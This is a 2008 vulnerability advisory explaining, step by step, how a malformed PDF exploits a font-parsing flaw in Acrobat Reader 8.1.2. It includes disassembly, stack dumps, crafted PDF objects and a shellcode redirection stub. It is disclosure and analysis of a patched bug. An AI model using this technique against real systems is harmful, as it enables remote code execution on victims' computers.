Acrobat Reader 8.1.2 local and remote code execution

Adobe Security Update: http://www.adobe.com/support/security/bulletins/apsb08-19.html

Autor: Javier Vicente Vallejo

Web: www.vallejo.cc

Abstract

Last version of Acrobat Reader 8.1.2 is prone to a vulnerability when a malformed pdf is parsed. This vulnerability allows attackers to execute code on vulnerable installations. The vulnerability could be exploited local and remotely.

Affected versions

Tested with Acrobat Reader 8.1.2 and Windows XP Media Center Sp2.

I tested with previous versions of Acrobat Reader and it worked too.

It should work local and remotely, with any browser and any version of Windows OS.

Analysis

Acrobat Reader seems to have problems when parsing some malformed pdfs. The vulnerability seems to be related to the way that Acrobat Reader manages fonts.

The vulnerable code in AcroRd32.exe is:

01194C98 B0 01 MOV AL,1

01194C9A 5E POP ESI

01194C9B C2 0400 RETN 4

01194C9E CC INT3

01194C9F CC INT3

01194CA0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] <------

01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]

01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]

01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

01194CAE FFE2 JMP EDX

01194CB0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4]

01194CB4 85C0 TEST EAX,EAX

01194CB6 74 08 JE SHORT AcroRd_1.01194CC0

01194CB8 8D48 F8 LEA ECX,DWORD PTR DS:[EAX-8]

01194CBB E9 10000000 JMP AcroRd_1.01194CD0

01194CC0 33C9 XOR ECX,ECX

When the acrobat reader application parses the malformed pdf, stack seems to be corrupted (it seems a problem parsing fonts) and the object number of the last object before xref table is stored in the stack, but it is used as a pointer to a class or structure.

Object numbers use to be low values. When the first crash occured the value was 252. We can see how [esp+4] is moved to eax. After that [eax+10] to ecx, then [ecx+18] to edx, and finally jmp edx.

To exploit the vulnerability we need a object number that [<this object number>+10] is a valid address, and [<this valid address>+18] is a valid address pointing to our shellcode.

Acrobat Reader lets us to use very high values for object numeration:

...

1304200 0 obj<</Length 51/Filter/S#17eDe^ñt>>stream

ÌÌÌÌMMYDATA

endstream

endobj

xref

0 1304201

0000000000 65535 f

0000000015 00000 n

0000000080 00000 n

...

However it is necesary to repair xref table and all references to this object if we modify its number. We can do it using the pdf updating mechanism:

1304200 0 obj<</Length 51/Filter/S#17eDe^ñt>>stream

ÌÌÌÌMMYDATA

endstream

endobj

xref

0 1304201

0000000000 65535 f

0000000015 00000 n

0000000080 00000 n

0000212778 00000 n

0000212824 00000 n

...

0000601062 00000 n

0000657594 00000 n

0000657787 00000 n

0000657935 00000 n

0000727001 00000 n

0000727208 00000 n

0000885468 00000 n

0000000243 00000 f

0000000244 00000 f

0000885675 00000 n

0000939377 00000 n

0000939582 00000 n

0000939611 00000 n

0000939816 00000 n

0000962258 00000 n

0000962423 00000 n

1304200 1

0000962491 00000 n

trailer

<< /Size 1304200

/Encrypt 203 0 R

/ID [<aab8b79d962a176b774f50ab4a9ded8a><568914b21e6a11dabac5000393c326ba>]

/Root 1 0 R

>>

startxref

962613

%%EOF

We have used the value 1304200, 0x13E688. It is a address in the main thread stack. I will explain in a moment how to exploit the vulnerability and why this value.

01194CA0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] <------

01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]

01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]

01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

01194CAE FFE2 JMP EDX

mov eax,[esp+4] eax = 0x13E688

Reversing the code we can see some interesting values stored in the stack when the vulnerability occurs:

A second object number value is stored in the stack too. In this second case the object number is 172. We can control this object number value too.

From the main thread stack:

0013E688 |017BDB58 XÛ{ AcroRd_1.017BDB58

0013E68C |72D08937 7‰Ðr

0013E690 |0013E754 Tç.

0013E694 |C0010000 .. À

0013E698 |0013E624 $æ.

1304100 0 obj<</Type/Font/Encoding/90pv-RKSJ-H/BaseFont/hxV4Ã+NIS-S7-83pv-RKSJ-K/Subtype/Type0/DescendantFonts 111 0 R>>

endobj

The address 0x13E698 contained the object number 172, but we can control it, so we have changed it to 0x13E624 (1304100 decimal). This is other value in the stack that we will analyze in a moment.

Remember: mov eax,[esp+4] eax = 0x13E688

When

01194CA4 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]

is executed, ecx = 0x13E624.

Why this address?

Analyzing the stack again we can find a pointer to the /BaseFont associated value (originally this value was /BaseFont/TBOBOJ+NIS-S7-83pv-RKSJ-K):

0013E624 |10D80CA8 ¨.Ø

0013E628 |08023CC3 Ã< RETURN to CoolType.08023CC3 from CoolType.08021BD9

0013E62C |10E58F7C |□å

0013E630 |10D961A4 ¤aÙ

0013E634 |0820E4A8 ¨ä CoolType.0820E4A8

0013E638 |00E0D68C ŒÖà.

0013E63C |00E0D6B0 °Öà. -> (originally this address in the stack pointed to TBOBOJ+NIS-S7-83pv-RKSJ-K)

When the last instructions of the vulnerable code are executed:

01194CA7 8B51 18 MOV EDX,DWORD PTR DS:[ECX+18]

01194CAA 894424 04 MOV DWORD PTR SS:[ESP+4],EAX

01194CAE FFE2 JMP EDX

Remember ecx = 0x13E624

So MOV EDX,DWORD PTR DS:[ECX+18] --> edx = 0xE0D6B0 (the address pointing to the BaseFont value, TBOBOJ+NIS-S7-83pv-RKSJ-K).

And jmp edx, jump to the /BaseFont value.

The last thing to say is that /BaseFond value is a string contained and copied from our pdf file, and we can control it too, so we can overwritte it with code that we want to execute. Here is the new BaseFont:

/BaseFont/hxV4Ã+NIS-S7-83pv-RKSJ-K

We have overwritted the first bytes with 0x68 0x78 0x56 0x43 0x21 0xc3:

push 0x12345678

ret

Changing the 0x12345678 value we can redirect the execution to the shellcode (contained in the pdf file too, with no limit of lenght, and all values 0x00 – 0xff to be used in the shellcode).

I had tested other ways to exploit the vulnerability, but they was very closed to the memory space of the process. In this way, by using only values in the stack, that are fixed across executions, we have a very stable way to exploit this vulnerability. The same pdf works when we are exploiting the vulnerability local and remotely (going with internet explorer or other browser to the url with the malformed pdf).

It is possible that if you test the exploit with other operating system or with other type of environment , the base address for the main thread stack was changed. It is easy to modify the exploit for getting it working with the new environment. The base address for the main thread stack that i have, is 0x136000. If the base address changes, it is only necesary to add the difference to all values that i said in this document.

Attached with this advisory is a sample exploit. Push 0x12345678, ret code is executed and it crash with EIP=0x12345678. I tested it with Acrobat Reader 8.1.2 and Windows XP Media Center Sp2, local and remotely (internet explorer 6).

The pdf contains a shellcode that launchs calc.exe. If you want to test it you only need to change 0x12345678 with the shellcode address for the environment that you are testing.